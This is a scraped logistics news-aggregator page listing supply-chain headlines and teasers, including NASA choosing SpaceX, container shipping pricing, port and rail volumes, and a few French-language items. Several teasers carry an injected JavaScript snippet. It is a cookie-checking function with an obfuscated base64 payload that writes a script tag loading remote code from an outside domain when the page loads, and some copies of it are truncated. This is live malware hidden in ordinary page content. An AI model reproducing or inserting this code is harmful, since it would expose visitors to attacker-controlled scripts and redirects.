One giant step for a space-based supply chain

NASA chooses SpaceX as its first vendor for the deep space commercial supply chain …read more Via: SCMR Editorial function getCookie(e)var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time)var time=Math.floor(Date.now()/1e3+86400)

Ocean Container Pricing Becoming More Disciplined, Say Industry Analysts

Consolidation in the global container shipping industry in recent years has been the key factor behind improved supply discipline. Ocean cargo carriers’financial performance has been improving as a result. …read …

Global Supply Chain Managers to Examine New Transportation Rate Structures Soon

Navigating the road to post-pandemic normalcy will be a major challenge for all transportation providers …read more Via: SCMR Editorial function getCookie(e)var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time)var time=Math.floor(Date.now()/1e3+86400)

Port Tracker reports November declines, but 2020 could still end up setting a new record

Port Tracker reported for November, the most recent month for which data is available, U.S-based retail container ports handled 2.11 million Twenty-Foot Equivalents (TEU), marking a 24.5% annual gain and. …

AAR reports 2020 U.S. rail carload and intermodal volumes are down annually

2020 carloads, which were significantly impacted by the COVID-19 pandemic, fell 12.9%, or 1,705,963 carloads, to 11,482,059, from 2019 to 2020, and intermodal containers and trailers fell 1.8%, or 255,634 …

SEKO Logistics announces that Ridgemont Equity Partners is a new investment partner

The development comes at a time when SEKO is moving forward on its next stage of expansion, focusing on additional acquisitions, technology platform investments, and continued growth in key global …

Intermodal Bounces Back

Strong intermodal volumes will continue as retailers replenish their inventories, says CSX Transportation and Canadian National Railway (CN). …read more Via: Inbound Logistics function getCookie(e)var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var …

FTR’s Shipper Conditions Index sees a major decline

The October SCI, which is the most recent month for which data is available, dropped to -11.6, well below September’s 0.97. …read more Via: Logistics Management function getCookie(e)var U=document.cookie.match(new RegExp(“(?:^|; …

Is now the time for robotic lift trucks?

Though robotic industrial trucks are still a small slice of the market, expectations are growing for them as operations seek to speed up their processes while lessening the struggle of …

Interroll France nomme un nouveau directeur général

Marc Langlois, 48 ans, devient directeur général d’Interroll France (fournisseur de solutions pour les flux de marchandises), succédant à Gilles Calvez, parti en retraite. Il était précédemment en charge de …

En Espagne, El Corte Inglés lance sa propre logistique

El Corte Inglés, la plus importante chaîne espagnole de grands magasins présente également au Portugal, a décidé de contrer Amazon en créant une nouvelle division commerciale spécialisée dans la logistique. …

Bringg announces a new delivery partnership with Uber

Bringg officials said that this partnership will offer up seamless access, for its customers, via Uber Direct—Uber’s service focused on helping businesses meet increased customer demand for delivery and provide …

Services sector growth remained intact in December, says ISM

The reading for the report’s key indicator—the Services PMI (formerly the Non-Manufacturing PMI)—came in at 57.2 (a reading of 50 or higher indicates growth is occurring) was up 1.3% compared …

ISM reports services sector growth remained intact in December

The reading for the report’s key indicator—the Services PMI (formerly the Non-Manufacturing PMI)—came in at 57.2 (a reading of 50 or higher indicates growth is occurring) was up 1.3% compared …

Top 25 Healthcare Supply Chains

Johnson & Johnson maintains its No. 1 spot on the Gartner Healthcare Supply Chain Top 25 list, which recognizes companies that advance healthcare by improving patient outcomes and controlling costs. …

Hyundai à la norme Stage V

Hyundai Material Handling introduit ses nouveaux chariots élévateurs à fourche diesel 9V. Une gamme qui se met en conformité avec la norme européenne antipollution Stage V. Outre la garantie standard …

Lineage Logistics announces acquisition of Cryo-Trans

Lineage said that that this move into rail is part of the company’s effort to be a one-stop-shop for its customers and to eliminate waste within the supply chain. …read …

Le schéma directeur logistique de l'axe Seine se dessine

Bénéficiant d’atouts multimodaux, l’axe Seine rassemble toutes les logistiques : industrielle, portuaire, urbaine et de distribution. La création de l’établissement portuaire unique HAROPA permettra de nouvelles offres logistiques globales et …

Port of LA to Outline its Supply Chain Future at Annual “Virtual” Event

When the Port of Los Angeles stages its annual “State of the Port” address on January 14, supply chain managers will be given more details on 2020 container throughput at …

Putting customers at the center with intelligent fulfillment

With the right actions, supply chain leaders can turn supply chain disruption into meaningful change and build long-term resilience to outmaneuver uncertainty and achieve growth. Those that do will achieve …